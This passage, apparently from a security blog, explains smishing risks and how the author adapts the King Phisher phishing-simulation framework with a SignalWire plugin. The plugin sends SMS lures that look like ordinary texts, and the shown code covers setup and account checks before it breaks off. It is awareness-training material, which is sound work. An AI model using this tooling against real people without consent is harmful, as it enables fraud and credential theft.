&lt;p&gt;As more and more people use their personal smartphones for work (a trend called BYOD, or “bring your own device”) smishing is becoming a business threat as well as a consumer threat. So it should come as no surprise that smishing has been on the rise.&lt;/p&gt;

&lt;h3&gt;Examples of Smishing&lt;/h3&gt;

&lt;p&gt;&lt;/p&gt;&lt;center&gt;
   &lt;a href=&quot;images/smishing_AMEX.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/smishing_AMEX.png&quot;/&gt;&lt;/a&gt;
   &lt;span&gt;     &lt;/span&gt;
   &lt;a href=&quot;images/email_gateway.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/email_gateway.jpg&quot;/&gt;&lt;/a&gt;
&lt;/center&gt;
&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;

&lt;p&gt;Most people know something of the risks of email fraud and learned, through training, to be suspicious of emails that say “click this link”. Bonus points if it is a generic content email, without any actual personal message from the supposed sender. Users are generally less wary when it somes to text messages, and there are less protections on a mobile device.&lt;/p&gt;

&lt;p&gt;Phone numbers are &lt;em&gt;much&lt;/em&gt; &lt;a href=&quot;https://www.consumer.ftc.gov/blog/2016/05/scammers-can-fake-caller-id-info?page=5&quot;&gt;easier to spoof&lt;/a&gt; than email senders. Phone numbers are predictable and don’t even require any hacking or a leak, to capitalize on. So its’s easier for a spammer to ramp up, and start sending malicious links to a large swathe of people. This combination has given &lt;a href=&quot;https://www.consumerreports.org/scams-fraud/smishing-silly-word-serious-fraud/&quot;&gt;rise&lt;/a&gt; &lt;a href=&quot;https://www.fintechmagazine.com/cybersecurity/rise-fraud-and-smishing-during-coronavirus&quot;&gt;to&lt;/a&gt; &lt;a href=&quot;https://www.considerable.com/home/technology/smishing-fraud-scheme/&quot;&gt;fraud&lt;/a&gt; through SMS/Text messaging.&lt;/p&gt;

&lt;p&gt;What can be done about curbing these types of attacks??  &lt;strong&gt;Training&lt;/strong&gt; . Users must be trained to spot phishing attempts and report or ignore accordingly.&lt;/p&gt;

&lt;p&gt;These problems are cat vs mouse situations, and no matter how good your defenses are, humans are always the weakest link. Information Security practitioners must conduct phishing training and awareness exercises for all users. The goal is to help make users aware of phishing attempts, and ideally, report these attempts so they can be blocked, or stopped in the future. Stopping phishing is not realistic, and it’s just not going to happen. However, by training users to spot red flags with suspicious emails and reporting it, the damage can be minimized.&lt;/p&gt;

&lt;h2&gt;Training&lt;/h2&gt;

&lt;p&gt;There are many different methods, tools, and companies that will help craft campaigns and metrics to train users. For my purposes, I use &lt;a href=&quot;https://github.com/rsmusllp/king-phisher&quot;&gt;king-phisher&lt;/a&gt; by TrustedSec. It can be self hosted, with a client and server portions, and is highly customizable.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;King Phisher is a tool for testing and promoting user awareness by simulating real world phishing attacks. It features an easy to use, yet very flexible architecture allowing full control over both emails and server content. King Phisher can be used to run campaigns ranging from simple awareness training to more complicated scenarios in which user aware content is served for harvesting credentials.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;/p&gt;&lt;center&gt;
   &lt;a href=&quot;images/king-phisher-logo.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/king-phisher-logo.png&quot;/&gt;&lt;/a&gt;
&lt;/center&gt;&lt;p&gt;&lt;/p&gt;

&lt;p&gt;Out of the box, KingPhisher will help you craft phishing lures, web server landing pages, and track metrics of the campaign. It is focused on email address based phishing, with great support for sending and tracking methods. KingPhisher is extensible with plugins, one of which, &lt;a href=&quot;https://github.com/rsmusllp/king-phisher-plugins/blob/master/client/clockwork_sms.py&quot;&gt;clockwork-sms&lt;/a&gt; claims to send text messages for your target list. Between the cost of using clockwork, and the method &lt;em&gt;(sends the text message via the carrier email gateway, eg ###-###-####@carrier.tld)&lt;/em&gt;, I decided not to use the plugin. Some of the limiations are of course the cost, but needing to know the target carrier to craft the recipent ‘email’. Sending via this method also makes the text message stand out with content including ‘FRM’, ‘SUBJ’, and ‘MSG’ identifiers. (&lt;a href=&quot;images/smishing_AMEX.png&quot;&gt;&lt;em&gt;see example 1&lt;/em&gt;&lt;/a&gt;) I wanted a method that would actually use and send via SMS and not parsing to an email address.&lt;/p&gt;

&lt;p&gt;I decided to use &lt;a href=&quot;https://signalwire.com/&quot;&gt;signalwire&lt;/a&gt; for the robust API access, and great prices. Unfortunately, there was no built in method with KingPhisher to utilize a different provider for purely SMS/smishing. Yet another entry point; plugins! I started with clockwork_sms.py as a baseline, to refactor into a signalwire plugin. Some major differences include, requiring more information for the signalwire API, and being sent via HTTP API versus an email gateway. This allows the text message to look like a normal standard text, because it is! (&lt;a href=&quot;images/email_gateway.jpg&quot;&gt;&lt;em&gt;see example 2&lt;/em&gt;&lt;/a&gt;) The plugin sets the primary configuration options for signalwire, and a signal hook for the &lt;em&gt;message-send&lt;/em&gt; from KingPhisher core. In addition to the plugin, this method required modification of KingPhisher core project itself to support ‘SMS’ only phishing.&lt;/p&gt;

&lt;h2&gt;Plugin&lt;/h2&gt;

&lt;p&gt;First things first, you’ll need to signup for a signalwire account. Signalwire has a python library for ease of use, installed through pip, and great &lt;a href=&quot;https://docs.signalwire.com/topics/laml-api/#laml-rest-api&quot;&gt;documentation&lt;/a&gt; to get started quickly. &lt;code&gt;pip install signalwire&lt;/code&gt;, and then test some code to make sure it works:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;signalwire.rest&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Client&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signalwire_client&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signalwire_client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;YourProjectID&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;YourAuthToken&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signalwire_space_url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;example.signalwire.com&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;message&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;messages&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                              &lt;span class=&quot;n&quot;&gt;from_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;+15551234567&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                              &lt;span class=&quot;n&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Hello World!&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                              &lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;+15557654321&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;
                          &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;After getting that test code working, it was time to create the KingPhisher plugin! Using clockwork as a base file, I modified it to be more inline with signalwire expectations. This included adding in plugin options for the signalwire api key, project id, and space url:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;	&lt;span class=&quot;n&quot;&gt;options&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ClientOptionString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
			&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;api_key&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SignalWire API Key&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;display_name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SignalWire API Key&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ClientOptionString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
			&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;project_id&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SignalWire Project ID&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;display_name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SignalWire Project ID&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ClientOptionString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
			&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;space_url&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SignalWire Space URL&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;display_name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SignalWire Space URL&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;

		&lt;span class=&quot;n&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ClientOptionString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
			&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;from_phone&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SignalWire FROM Number, without &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt; but including country and area code&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;display_name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SignalWire FROM Number&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then, you need to change the initialization to register the message-send signal, and status check for signalwire:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;	&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;initialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;mailer_tab&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;application&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;main_tabs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;mailer&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
		&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signal_connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;send-precheck&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signal_send_precheck&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gobject&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mailer_tab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signal_connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;message-send&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signal_message_send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gobject&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mailer_tab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;_get_status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;api_key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;api_key&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;project_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;project_id&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;space_url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;space_url&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

		&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;sms_client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signalwire_client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;project_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;api_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signalwire_space_url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;space_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;account&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sms_client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;api&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;accounts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;project_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Verified connection to &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;, status is &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;account&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;friendly_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;account&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;account&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Full&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
				&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;warning&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Your SignalWire account is &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Trial&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; only! You will not be able to send messages to unverified phone numbers&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
			&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;warning&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Failed to connect to signalwire API&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exc_info&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;

		
